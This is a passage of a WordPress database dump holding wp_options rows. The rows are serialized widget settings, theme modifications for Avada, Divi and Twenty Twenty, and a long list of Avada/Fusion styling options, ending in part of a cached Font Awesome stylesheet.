"_multiwidget\";i:1;}','yes'),(106,'widget_media_image','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(107,'widget_media_gallery','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(146,'db_upgraded','','yes'),(145,'admin_email_lifespan','1717681816','yes'),(149,'recovery_keys','a:0:{}','yes'),(153,'current_theme','Twenty Twenty-Three','yes'),(154,'theme_mods_Avada','a:4:{i:0;b:0;s:18:\"nav_menu_locations\";a:0:{}s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1576897418;s:4:\"data\";a:10:{s:19:\"wp_inactive_widgets\";a:0:{}s:18:\"avada-blog-sidebar\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:21:\"avada-footer-widget-1\";a:0:{}s:21:\"avada-footer-widget-2\";a:0:{}s:21:\"avada-footer-widget-3\";a:0:{}s:21:\"avada-footer-widget-4\";a:0:{}s:25:\"avada-slidingbar-widget-1\";a:0:{}s:25:\"avada-slidingbar-widget-2\";a:0:{}s:25:\"avada-slidingbar-widget-3\";a:0:{}s:25:\"avada-slidingbar-widget-4\";a:0:{}}}s:18:\"custom_css_post_id\";i:-1;}','yes'),(155,'theme_switched','','yes'),(156,'avada_version','6.1.2','yes'),(159,'_transient_timeout_avada_demos','1577495179','no'),(224,'widget_contact_info-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(225,'widget_pyre_tabs-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(226,'widget_recent_works-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(170,'revslider-valid-notice','false','yes'),(227,'widget_tweets-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(228,'widget_flickr-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(229,'widget_social_links-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(230,'widget_facebook-like-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(231,'widget_menu-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(232,'widget_avada-vertical-menu-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(233,'fusion_core_flush_permalinks','1','yes'),(221,'fusion_core_version','4.1.2','yes'),(222,'widget_ad_125_125-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(223,'widget_fusion_author-widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(182,'fusion_applied_patches','a:2:{i:0;i:417433;i:1;i:417434;}','no'),(371,'_site_transient_timeout_fusion_wordpress_org_plugins','1576898077','no'),(161,'shop_catalog_image_size','a:3:{s:5:\"width\";i:500;s:6:\"height\";s:0:\"\";i:0;i:0;}','yes'),(162,'shop_single_image_size','a:3:{s:5:\"width\";i:700;s:6:\"height\";s:0:\"\";i:0;i:0;}','yes'),(163,'shop_thumbnail_image_size','a:3:{s:5:\"width\";i:120;s:6:\"height\";s:0:\"\";i:0;i:0;}','yes'),(164,'woocommerce_single_image_width','700','yes'),(165,'woocommerce_thumbnail_image_width','500','yes'),(166,'woocommerce_thumbnail_cropping','uncropped','yes'),(167,'fusion_dynamic_css_posts','a:32:{i:16;b:0;s:6:\"global\";b:1;i:17;b:0;i:18;b:0;i:19;b:1;i:20;b:0;i:21;b:0;i:22;b:0;i:24;b:0;i:25;b:0;i:26;b:0;i:2;b:1;i:27;b:0;i:28;b:0;i:29;b:0;i:30;b:0;i:31;b:1;i:32;b:1;i:33;b:0;i:34;b:0;i:35;b:0;i:36;b:1;i:37;b:0;i:38;b:0;i:39;b:0;i:40;b:0;i:41;b:0;i:42;b:0;i:43;b:0;i:44;b:0;s:9:\"1-archive\";b:1;i:1;b:1;}','yes'),(168,'fusion_dynamic_css_ids','a:32:{i:16;b:0;s:6:\"global\";s:32:\"57f28a091e3faefa5e35a6d4204df3d5\";i:17;b:0;i:18;b:0;i:19;s:32:\"57f28a091e3faefa5e35a6d4204df3d5\";i:20;b:0;i:21;b:0;i:22;b:0;i:24;b:0;i:25;b:0;i:26;b:0;i:2;s:32:\"57f28a091e3faefa5e35a6d4204df3d5\";i:27;b:0;i:28;b:0;i:29;b:0;i:30;b:0;i:31;s:32:\"57f28a091e3faefa5e35a6d4204df3d5\";i:32;s:32:\"57f28a091e3faefa5e35a6d4204df3d5\";i:33;b:0;i:34;b:0;i:35;b:0;i:36;s:32:\"57f28a091e3faefa5e35a6d4204df3d5\";i:37;b:0;i:38;b:0;i:39;b:0;i:40;b:0;i:41;b:0;i:42;b:0;i:43;b:0;i:44;b:0;s:9:\"1-archive\";s:32:\"57f28a091e3faefa5e35a6d4204df3d5\";i:1;s:32:\"57f28a091e3faefa5e35a6d4204df3d5\";}','yes'),(278,'_transient_timeout_fusion_dynamic_css_da8b3f2c4ea51f4388c7d377f45788b5','1576895110','no'),(259,'fusion_builder_version','2.1.2','yes'),(260,'recovery_mode_email_last_sent','1576890449','yes'),(377,'et_pb_builder_options','a:2:{i:0;b:0;s:35:\"email_provider_credentials_migrated\";b:1;}','yes'),(273,'fusion_dynamic_css_time','1576944508','yes'),(263,'fusion_options','a:373:{s:13:\"info_bg_color\";s:7:\"#ffffff\";s:17:\"info_accent_color\";s:7:\"#808080\";s:15:\"danger_bg_color\";s:7:\"#f2dede\";s:19:\"danger_accent_color\";s:7:\"#a64242\";s:16:\"success_bg_color\";s:7:\"#dff0d8\";s:20:\"success_accent_color\";s:7:\"#5ca340\";s:16:\"warning_bg_color\";s:7:\"#fcf8e3\";s:20:\"warning_accent_color\";s:7:\"#d9b917\";s:20:\"alert_box_text_align\";s:6:\"center\";s:24:\"alert_box_text_transform\";s:10:\"capitalize\";s:21:\"alert_box_dismissable\";s:3:\"yes\";s:16:\"alert_box_shadow\";s:2:\"no\";s:17:\"alert_border_size\";s:1:\"1\";s:16:\"animation_offset\";s:13:\"top-into-view\";s:21:\"status_css_animations\";s:7:\"desktop\";s:15:\"audio_max_width\";s:4:\"100%\";s:22:\"audio_background_color\";s:7:\"#222222\";s:23:\"audio_progressbar_color\";s:7:\"#ffffff\";s:27:\"audio_controls_color_scheme\";s:5:\"light\";s:17:\"audio_border_size\";i:0;s:18:\"audio_border_color\";s:0:\"\";s:19:\"audio_border_radius\";a:4:{s:8:\"top_left\";s:3:\"0px\";s:9:\"top_right\";s:3:\"0px\";s:12:\"bottom_right\";s:3:\"0px\";s:11:\"bottom_left\";s:3:\"0px\";}s:17:\"blog_grid_columns\";i:3;s:24:\"blog_grid_column_spacing\";s:2:\"40\";s:17:\"blog_grid_padding\";a:4:{s:3:\"top\";s:4:\"30px\";s:6:\"bottom\";s:4:\"20px\";s:4:\"left\";s:4:\"25px\";s:5:\"right\";s:4:\"25px\";}s:12:\"blog_excerpt\";s:3:\"yes\";s:19:\"blog_excerpt_length\";s:2:\"10\";s:11:\"button_size\";s:5:\"Large\";s:11:\"button_span\";s:2:\"no\";s:11:\"button_type\";s:4:\"Flat\";s:17:\"button_typography\";a:5:{s:11:\"font-weight\";s:3:\"400\";s:11:\"font-family\";s:7:\"PT Sans\";s:11:\"font-backup\";b:1;s:6:\"google\";b:1;s:14:\"letter-spacing\";s:1:\"0\";}s:21:\"button_text_transform\";s:9:\"uppercase\";s:25:\"button_gradient_top_color\";s:7:\"#65bc7b\";s:28:\"button_gradient_bottom_color\";s:7:\"#65bc7b\";s:31:\"button_gradient_top_color_hover\";s:7:\"#5aa86c\";s:34:\"button_gradient_bottom_color_hover\";s:7:\"#5aa86c\";s:19:\"button_accent_color\";s:7:\"#ffffff\";s:25:\"button_accent_hover_color\";s:7:\"#ffffff\";s:18:\"button_bevel_color\";s:7:\"#54770F\";s:19:\"button_border_width\";s:1:\"0\";s:20:\"button_border_radius\";s:1:\"0\";s:19:\"button_border_color\";s:7:\"#ffffff\";s:25:\"button_border_hover_color\";s:7:\"#ffffff\";s:18:\"carousel_nav_color\";s:15:\"rgba(0,0,0,0.6)\";s:20:\"carousel_hover_color\";s:15:\"rgba(0,0,0,0.7)\";s:14:\"carousel_speed\";s:4:\"2500\";s:21:\"chart_legend_position\";s:3:\"top\";s:19:\"chart_show_tooltips\";s:3:\"yes\";s:14:\"chart_bg_color\";s:19:\"rgba(255,255,255,0)\";s:21:\"chart_axis_text_color\";s:7:\"#666666\";s:20:\"chart_gridline_color\";s:15:\"rgba(0,0,0,0.1)\";s:21:\"checklist_icons_color\";s:7:\"#ffffff\";s:16:\"checklist_circle\";s:1:\"1\";s:22:\"checklist_circle_color\";s:7:\"#65bc7b\";s:19:\"checklist_item_size\";s:4:\"14px\";s:17:\"checklist_divider\";s:2:\"no\";s:23:\"checklist_divider_color\";s:0:\"\";s:10:\"col_margin\";a:2:{s:3:\"top\";s:3:\"0px\";s:6:\"bottom\";s:4:\"20px\";}s:25:\"container_padding_default\";a:4:{s:3:\"top\";s:3:\"0px\";s:6:\"bottom\";s:3:\"0px\";s:4:\"left\";s:3:\"0px\";s:5:\"right\";s:3:\"0px\";}s:21:\"container_padding_100\";a:4:{s:3:\"top\";s:3:\"0px\";s:6:\"bottom\";s:3:\"0px\";s:4:\"left\";s:4:\"30px\";s:5:\"right\";s:4:\"30px\";}s:19:\"full_width_bg_color\";s:19:\"rgba(255,255,255,0)\";s:31:\"full_width_gradient_start_color\";s:19:\"rgba(255,255,255,0)\";s:29:\"full_width_gradient_end_color\";s:19:\"rgba(255,255,255,0)\";s:22:\"full_width_border_size\";s:1:\"0\";s:23:\"full_width_border_color\";s:7:\"#eae9e9\";s:29:\"container_scroll_nav_bg_color\";s:18:\"rgba(0, 0, 0, 0.2)\";s:33:\"container_scroll_nav_bullet_color\";s:7:\"#eeeeee\";s:39:\"container_hundred_percent_height_mobile\";s:1:\"0\";s:20:\"content_box_bg_color\";s:19:\"rgba(255,255,255,0)\";s:22:\"content_box_title_size\";s:4:\"18px\";s:23:\"content_box_title_color\";s:7:\"#333333\";s:22:\"content_box_body_color\";s:7:\"#747474\";s:21:\"content_box_icon_size\";s:2:\"21\";s:22:\"content_box_icon_color\";s:7:\"#ffffff\";s:23:\"content_box_icon_circle\";s:3:\"yes\";s:30:\"content_box_icon_circle_radius\";s:3:\"50%\";s:25:\"content_box_icon_bg_color\";s:7:\"#333333\";s:38:\"content_box_icon_bg_inner_border_color\";s:7:\"#333333\";s:37:\"content_box_icon_bg_inner_border_size\";s:1:\"1\";s:38:\"content_box_icon_bg_outer_border_color\";s:19:\"rgba(255,255,255,0)\";s:37:\"content_box_icon_bg_outer_border_size\";s:1:\"0\";s:27:\"content_box_icon_hover_type\";s:4:\"fade\";s:40:\"content_box_hover_animation_accent_color\";s:7:\"#65bc7b\";s:21:\"content_box_link_type\";s:4:\"text\";s:23:\"content_box_button_span\";s:2:\"no\";s:21:\"content_box_link_area\";s:9:\"link-icon\";s:23:\"content_box_link_target\";s:5:\"_self\";s:18:\"content_box_margin\";a:2:{s:3:\"top\";s:3:\"0px\";s:6:\"bottom\";s:4:\"60px\";}s:18:\"countdown_timezone\";s:9:\"site_time\";s:20:\"countdown_show_weeks\";s:2:\"no\";s:26:\"countdown_background_color\";s:7:\"#65bc7b\";s:26:\"countdown_background_image\";a:0:{}s:27:\"countdown_background_repeat\";s:9:\"no-repeat\";s:29:\"countdown_background_position\";s:13:\"center center\";s:27:\"countdown_counter_box_color\";s:7:\"#333333\";s:28:\"countdown_counter_text_color\";s:7:\"#ffffff\";s:28:\"countdown_heading_text_color\";s:7:\"#ffffff\";s:31:\"countdown_subheading_text_color\";s:7:\"#ffffff\";s:25:\"countdown_link_text_color\";s:7:\"#ffffff\";s:21:\"countdown_link_target\";s:5:\"_self\";s:17:\"counter_box_speed\";s:4:\"1000\";s:17:\"counter_box_color\";s:7:\"#65bc7b\";s:22:\"counter_box_title_size\";s:2:\"50\";s:21:\"counter_box_icon_size\";s:2:\"50\";s:22:\"counter_box_body_color\";s:7:\"#747474\";s:21:\"counter_box_body_size\";s:2:\"13\";s:24:\"counter_box_border_color\";s:7:\"#e0dede\";s:20:\"counter_box_icon_top\";s:2:\"no\";s:20:\"counter_filled_color\";s:7:\"#65bc7b\";s:22:\"counter_unfilled_color\";s:7:\"#f6f6f6\";s:13:\"dropcap_color\";s:7:\"#65bc7b\";s:18:\"dropcap_text_color\";s:4:\"#fff\";s:22:\"flip_boxes_flip_effect\";s:7:\"classic\";s:25:\"flip_boxes_flip_direction\";s:5:\"right\";s:24:\"flip_boxes_flip_duration\";s:3:\"0.4\";s:24:\"flip_boxes_equal_heights\";s:2:\"no\";s:19:\"flip_boxes_front_bg\";s:7:\"#f6f6f6\";s:24:\"flip_boxes_front_heading\";s:7:\"#333333\";s:21:\"flip_boxes_front_text\";s:7:\"#747474\";s:18:\"flip_boxes_back_bg\";s:7:\"#65bc7b\";s:23:\"flip_boxes_back_heading\";s:7:\"#eeeded\";s:20:\"flip_boxes_back_text\";s:7:\"#ffffff\";s:22:\"flip_boxes_border_size\";s:1:\"1\";s:23:\"flip_boxes_border_color\";s:13:\"rgba(0,0,0,0)\";s:24:\"flip_boxes_border_radius\";s:3:\"4px\";s:17:\"icon_circle_color\";s:7:\"#333333\";s:17:\"icon_border_color\";s:7:\"#333333\";s:10:\"icon_color\";s:7:\"#ffffff\";s:20:\"gallery_picture_size\";s:4:\"auto\";s:14:\"gallery_layout\";s:4:\"grid\";s:15:\"gallery_columns\";s:1:\"3\";s:22:\"gallery_column_spacing\";s:2:\"10\";s:18:\"gallery_hover_type\";s:4:\"none\";s:24:\"gallery_lightbox_content\";s:4:\"none\";s:19:\"gallery_border_size\";s:1:\"0\";s:20:\"gallery_border_color\";s:7:\"#f6f6f6\";s:21:\"gallery_border_radius\";s:3:\"0px\";s:19:\"google_map_api_type\";s:2:\"js\";s:17:\"before_after_type\";s:12:\"before_after\";s:22:\"before_after_font_size\";s:2:\"13\";s:25:\"before_after_accent_color\";s:7:\"#ffffff\";s:28:\"before_after_label_placement\";s:14:\"image-centered\";s:24:\"before_after_handle_type\";s:7:\"default\";s:25:\"before_after_handle_color\";s:7:\"#ffffff\";s:22:\"before_after_handle_bg\";s:19:\"rgba(255,255,255,0)\";s:19:\"before_after_offset\";s:2:\"50\";s:24:\"before_after_orientation\";s:10:\"horizontal\";s:28:\"before_after_handle_movement\";s:10:\"drag_click\";s:28:\"before_after_transition_time\";s:3:\"0.5\";s:21:\"imageframe_style_type\";s:4:\"none\";s:15:\"imageframe_blur\";s:1:\"3\";s:20:\"imgframe_style_color\";s:7:\"#000000\";s:22:\"imageframe_border_size\";s:1:\"0\";s:21:\"imgframe_border_color\";s:7:\"#f6f6f6\";s:24:\"imageframe_border_radius\";s:3:\"0px\";s:14:\"modal_bg_color\";s:7:\"#f6f6f6\";s:18:\"modal_border_color\";s:7:\"#ebebeb\";s:23:\"person_background_color\";s:13:\"rgba(0,0,0,0)\";s:16:\"person_pic_style\";s:4:\"none\";s:21:\"person_pic_style_blur\";s:1:\"3\";s:18:\"person_style_color\";s:7:\"#000000\";s:19:\"person_border_color\";s:7:\"#f6f6f6\";s:18:\"person_border_size\";s:1:\"0\";s:20:\"person_border_radius\";s:3:\"0px\";s:16:\"person_alignment\";s:4:\"Left\";s:20:\"person_icon_position\";s:3:\"Top\";s:24:\"popover_heading_bg_color\";s:7:\"#f6f6f6\";s:24:\"popover_content_bg_color\";s:7:\"#ffffff\";s:20:\"popover_border_color\";s:7:\"#ebebeb\";s:18:\"popover_text_color\";s:7:\"#747474\";s:17:\"popover_placement\";s:3:\"Top\";s:36:\"full_boxed_pricing_box_heading_color\";s:7:\"#333333\";s:29:\"sep_pricing_box_heading_color\";s:7:\"#333333\";s:17:\"pricing_box_color\";s:7:\"#65bc7b\";s:16:\"pricing_bg_color\";s:7:\"#ffffff\";s:30:\"pricing_background_color_hover\";s:0:\"\";s:20:\"pricing_border_color\";s:7:\"#f8f8f8\";s:21:\"pricing_divider_color\";s:7:\"#ededed\";s:18:\"progressbar_height\";s:4:\"37px\";s:25:\"progressbar_text_position\";s:6:\"on_bar\";s:24:\"progressbar_filled_color\";s:7:\"#65bc7b\";s:31:\"progressbar_filled_border_color\";s:7:\"#ffffff\";s:30:\"progressbar_filled_border_size\";s:1:\"0\";s:26:\"progressbar_unfilled_color\";s:7:\"#f6f6f6\";s:22:\"progressbar_text_color\";s:7:\"#ffffff\";s:23:\"section_sep_border_size\";s:1:\"1\";s:14:\"section_sep_bg\";s:7:\"#f6f6f6\";s:24:\"section_sep_border_color\";s:7:\"#f6f6f6\";s:20:\"separator_style_type\";s:6:\"double\";s:9:\"sep_color\";s:7:\"#e0dede\";s:21:\"separator_border_size\";s:1:\"1\";s:16:\"separator_circle\";s:1:\"1\";s:25:\"separator_circle_bg_color\";s:19:\"rgba(255,255,255,0)\";s:22:\"social_links_font_size\";s:4:\"16px\";s:23:\"social_links_color_type\";s:6:\"custom\";s:23:\"social_links_icon_color\";s:7:\"#bebdbd\";s:18:\"social_links_boxed\";s:1:\"0\";s:22:\"social_links_box_color\";s:7:\"#e8e8e8\";s:25:\"social_links_boxed_radius\";s:3:\"4px\";s:26:\"social_links_boxed_padding\";s:3:\"8px\";s:30:\"social_links_tooltip_placement\";s:3:\"Top\";s:24:\"syntax_highlighter_theme\";s:7:\"default\";s:31:\"syntax_highlighter_line_numbers\";s:3:\"yes\";s:47:\"syntax_highlighter_line_number_background_color\";s:0:\"\";s:41:\"syntax_highlighter_line_number_text_color\";s:0:\"\";s:32:\"syntax_highlighter_line_wrapping\";s:6:\"scroll\";s:36:\"syntax_highlighter_copy_to_clipboard\";s:3:\"yes\";s:41:\"syntax_highlighter_copy_to_clipboard_text\";s:17:\"Copy to Clipboard\";s:28:\"syntax_highlighter_font_size\";s:2:\"14\";s:35:\"syntax_highlighter_background_color\";s:0:\"\";s:30:\"syntax_highlighter_border_size\";s:1:\"1\";s:31:\"syntax_highlighter_border_color\";s:7:\"#e0dede\";s:31:\"syntax_highlighter_border_style\";s:5:\"solid\";s:25:\"syntax_highlighter_margin\";a:4:{s:3:\"top\";s:3:\"0px\";s:4:\"left\";s:3:\"0px\";s:6:\"bottom\";s:3:\"0px\";s:5:\"right\";s:3:\"0px\";}s:13:\"tabs_bg_color\";s:7:\"#ffffff\";s:19:\"tabs_inactive_color\";s:7:\"#ebeaea\";s:17:\"tabs_border_color\";s:7:\"#ebeaea\";s:18:\"tabs_icon_position\";s:4:\"left\";s:14:\"tabs_icon_size\";s:2:\"13\";s:10:\"tagline_bg\";s:7:\"#f6f6f6\";s:20:\"tagline_border_color\";s:7:\"#f6f6f6\";s:14:\"tagline_margin\";a:2:{s:3:\"top\";s:3:\"0px\";s:6:\"bottom\";s:4:\"84px\";}s:20:\"testimonial_bg_color\";s:7:\"#f6f6f6\";s:22:\"testimonial_text_color\";s:7:\"#747474\";s:18:\"testimonials_speed\";s:4:\"4000\";s:19:\"testimonials_random\";s:1:\"0\";s:12:\"text_columns\";s:1:\"1\";s:21:\"text_column_min_width\";s:5:\"100px\";s:19:\"text_column_spacing\";s:3:\"2em\";s:15:\"text_rule_style\";s:4:\"none\";s:14:\"text_rule_size\";s:1:\"1\";s:15:\"text_rule_color\";s:7:\"#e0dede\";s:16:\"title_style_type\";s:12:\"double solid\";s:18:\"title_border_color\";s:7:\"#e0dede\";s:12:\"title_margin\";a:2:{s:3:\"top\";s:3:\"0px\";s:6:\"bottom\";s:4:\"31px\";}s:19:\"title_margin_mobile\";a:2:{s:3:\"top\";s:3:\"0px\";s:6:\"bottom\";s:4:\"20px\";}s:14:\"accordion_type\";s:10:\"accordions\";s:20:\"accordion_boxed_mode\";s:1:\"0\";s:21:\"accordion_border_size\";s:1:\"1\";s:22:\"accordian_border_color\";s:7:\"#cccccc\";s:26:\"accordian_background_color\";s:7:\"#ffffff\";s:21:\"accordian_hover_color\";s:7:\"#f9f9f9\";s:22:\"accordion_divider_line\";s:1:\"1\";s:25:\"accordion_title_font_size\";s:0:\"\";s:19:\"accordion_icon_size\";s:2:\"13\";s:20:\"accordian_icon_color\";s:7:\"#ffffff\";s:20:\"accordion_icon_boxed\";s:1:\"1\";s:24:\"accordian_inactive_color\";s:7:\"#333333\";s:22:\"accordian_active_color\";s:7:\"#65bc7b\";s:20:\"accordion_icon_align\";s:4:\"left\";s:21:\"user_login_text_align\";s:6:\"center\";s:28:\"user_login_form_field_layout\";s:7:\"stacked\";s:27:\"user_login_form_show_labels\";s:2:\"no\";s:33:\"user_login_form_show_placeholders\";s:3:\"yes\";s:32:\"user_login_form_show_remember_me\";s:2:\"no\";s:32:\"user_login_form_background_color\";s:7:\"#f6f6f6\";s:15:\"video_max_width\";s:4:\"100%\";s:14:\"video_controls\";s:3:\"yes\";s:13:\"video_preload\";s:4:\"auto\";s:16:\"visibility_small\";s:3:\"640\";s:17:\"visibility_medium\";s:4:\"1024\";s:22:\"widget_area_title_size\";s:0:\"\";s:23:\"widget_area_title_color\";s:0:\"\";s:13:\"primary_color\";s:7:\"#65bc7b\";s:8:\"gmap_api\";s:0:\"\";s:30:\"woocommerce_product_box_design\";s:7:\"classic\";s:13:\"ec_hover_type\";s:4:\"none\";s:10:\"responsive\";s:1:\"1\";s:21:\"grid_main_break_point\";s:4:\"1000\";s:23:\"side_header_break_point\";s:3:\"800\";s:19:\"content_break_point\";s:3:\"800\";s:21:\"typography_responsive\";s:1:\"0\";s:22:\"typography_sensitivity\";s:3:\"0.6\";s:17:\"typography_factor\";s:3:\"1.5\";s:18:\"social_media_icons\";a:0:{}s:22:\"sharing_social_tagline\";s:39:\"Share This Story, Choose Your Platform!\";s:30:\"sharing_box_tagline_text_color\";s:7:\"#333333\";s:15:\"social_bg_color\";s:7:\"#f6f6f6\";s:30:\"sharing_social_links_font_size\";s:4:\"16px\";s:38:\"sharing_social_links_tooltip_placement\";s:3:\"Top\";s:31:\"sharing_social_links_color_type\";s:6:\"custom\";s:31:\"sharing_social_links_icon_color\";s:7:\"#bebdbd\";s:26:\"sharing_social_links_boxed\";s:1:\"0\";s:30:\"sharing_social_links_box_color\";s:7:\"#e8e8e8\";s:33:\"sharing_social_links_boxed_radius\";s:3:\"4px\";s:34:\"sharing_social_links_boxed_padding\";s:3:\"8px\";s:16:\"sharing_facebook\";s:1:\"1\";s:15:\"sharing_twitter\";s:1:\"1\";s:14:\"sharing_reddit\";s:1:\"1\";s:16:\"sharing_linkedin\";s:1:\"1\";s:16:\"sharing_whatsapp\";s:1:\"1\";s:14:\"sharing_tumblr\";s:1:\"1\";s:17:\"sharing_pinterest\";s:1:\"1\";s:10:\"sharing_vk\";s:1:\"1\";s:13:\"sharing_email\";s:1:\"1\";s:22:\"posts_slideshow_number\";s:1:\"5\";s:18:\"slideshow_autoplay\";s:1:\"1\";s:23:\"slideshow_smooth_height\";s:1:\"0\";s:15:\"slideshow_speed\";s:4:\"7000\";s:22:\"pagination_video_slide\";s:1:\"0\";s:25:\"slider_nav_box_dimensions\";a:2:{s:5:\"width\";s:4:\"30px\";s:6:\"height\";s:4:\"30px\";}s:17:\"slider_arrow_size\";s:4:\"14px\";s:15:\"status_lightbox\";s:1:\"1\";s:22:\"status_lightbox_single\";s:1:\"1\";s:17:\"lightbox_behavior\";s:3:\"all\";s:13:\"lightbox_skin\";s:11:\"metro-white\";s:13:\"lightbox_path\";s:8:\"vertical\";s:24:\"lightbox_animation_speed\";s:6:\"normal\";s:15:\"lightbox_arrows\";s:1:\"1\";s:16:\"lightbox_gallery\";s:1:\"1\";s:17:\"lightbox_autoplay\";s:1:\"0\";s:24:\"lightbox_slideshow_speed\";s:4:\"5000\";s:16:\"lightbox_opacity\";s:3:\"0.9\";s:14:\"lightbox_title\";s:1:\"1\";s:13:\"lightbox_desc\";s:1:\"1\";s:15:\"lightbox_social\";s:1:\"1\";s:20:\"lightbox_deeplinking\";s:1:\"1\";s:20:\"lightbox_post_images\";s:1:\"1\";s:25:\"lightbox_video_dimensions\";a:2:{s:5:\"width\";s:6:\"1280px\";s:6:\"height\";s:5:\"720px\";}s:26:\"featured_image_placeholder\";s:1:\"1\";s:12:\"excerpt_base\";s:5:\"words\";s:16:\"disable_excerpts\";s:1:\"1\";s:14:\"link_read_more\";s:1:\"0\";s:21:\"nofollow_social_links\";s:1:\"0\";s:16:\"social_icons_new\";s:1:\"1\";s:14:\"image_rollover\";s:1:\"1\";s:24:\"image_rollover_direction\";s:4:\"left\";s:24:\"image_rollover_icon_size\";s:4:\"15px\";s:19:\"link_image_rollover\";s:1:\"1\";s:19:\"zoom_image_rollover\";s:1:\"1\";s:20:\"title_image_rollover\";s:1:\"1\";s:19:\"cats_image_rollover\";s:1:\"1\";s:26:\"icon_circle_image_rollover\";s:1:\"1\";s:24:\"image_gradient_top_color\";s:21:\"rgba(101,188,123,0.8)\";s:27:\"image_gradient_bottom_color\";s:7:\"#65bc7b\";s:25:\"image_rollover_text_color\";s:7:\"#333333\";s:25:\"image_rollover_icon_color\";s:7:\"#ffffff\";s:17:\"pagination_sizing\";s:12:\"width_height\";s:23:\"pagination_width_height\";s:2:\"30\";s:22:\"pagination_box_padding\";a:2:{s:5:\"width\";s:3:\"6px\";s:6:\"height\";s:3:\"2px\";}s:23:\"pagination_border_width\";s:1:\"1\";s:24:\"pagination_border_radius\";s:1:\"0\";s:23:\"pagination_text_display\";s:1:\"1\";s:20:\"pagination_font_size\";s:4:\"12px\";s:16:\"pagination_range\";s:1:\"1\";s:26:\"pagination_start_end_range\";s:1:\"0\";s:17:\"timeline_bg_color\";s:19:\"rgba(255,255,255,0)\";s:14:\"timeline_color\";s:7:\"#ebeaea\";s:25:\"grid_separator_style_type\";s:12:\"double|solid\";s:20:\"grid_separator_color\";s:7:\"#ebeaea\";s:18:\"masonry_grid_ratio\";s:3:\"1.5\";s:20:\"masonry_width_double\";s:4:\"2000\";s:16:\"google_analytics\";s:0:\"\";s:10:\"space_head\";s:0:\"\";s:10:\"space_body\";s:0:\"\";s:27:\"disable_code_block_encoding\";s:1:\"1\";s:9:\"status_yt\";s:1:\"1\";s:12:\"status_vimeo\";s:1:\"1\";s:11:\"status_gmap\";s:1:\"1\";s:18:\"status_fontawesome\";a:3:{i:0;s:3:\"fab\";i:1;s:3:\"far\";i:2;s:3:\"fas\";}s:28:\"fontawesome_v4_compatibility\";s:1:\"0\";s:22:\"status_fontawesome_pro\";s:1:\"0\";s:31:\"disable_date_rich_snippet_pages\";s:1:\"1\";s:26:\"disable_rich_snippet_title\";s:1:\"1\";s:27:\"disable_rich_snippet_author\";s:1:\"1\";s:25:\"disable_rich_snippet_date\";s:1:\"1\";s:16:\"css_cache_method\";s:4:\"file\";s:19:\"media_queries_async\";s:1:\"0\";s:8:\"css_vars\";s:1:\"0\";s:15:\"cache_server_ip\";s:0:\"\";s:11:\"js_compiler\";s:1:\"1\";s:19:\"reset_caches_button\";s:0:\"\";s:10:\"custom_css\";s:0:\"\";}','yes'),(264,'fusion_options-transients','a:2:{s:14:\"changed_values\";a:0:{}s:9:\"last_save\";i:1576891401;}','yes'),(286,'theme_mods_Divi','a:6:{i:0;b:0;s:18:\"custom_css_post_id\";i:17;s:16:\"et_pb_css_synced\";s:3:\"yes\";s:18:\"nav_menu_locations\";a:1:{s:12:\"primary-menu\";i:6;}s:39:\"et_updated_layouts_built_for_post_types\";s:3:\"yes\";s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1650669372;s:4:\"data\";a:10:{s:19:\"wp_inactive_widgets\";a:0:{}s:18:\"avada-blog-sidebar\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:21:\"avada-footer-widget-1\";a:0:{}s:21:\"avada-footer-widget-2\";a:0:{}s:21:\"avada-footer-widget-3\";a:0:{}s:21:\"avada-footer-widget-4\";a:0:{}s:25:\"avada-slidingbar-widget-1\";a:0:{}s:25:\"avada-slidingbar-widget-2\";a:0:{}s:25:\"avada-slidingbar-widget-3\";a:0:{}s:25:\"avada-slidingbar-widget-4\";a:0:{}}}}','yes'),(287,'et_pb_cache_notice','a:1:{s:5:\"4.0.9\";s:6:\"ignore\";}','yes'),(272,'theme_mods_twentytwenty','a:4:{i:0;b:0;s:18:\"nav_menu_locations\";a:0:{}s:18:\"custom_css_post_id\";i:-1;s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1650669426;s:4:\"data\";a:3:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:9:\"sidebar-1\";a:0:{}s:9:\"sidebar-2\";a:0:{}}}}','yes'),(319,'_transient_fusion_fontawesome_en','.fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:solid .08em 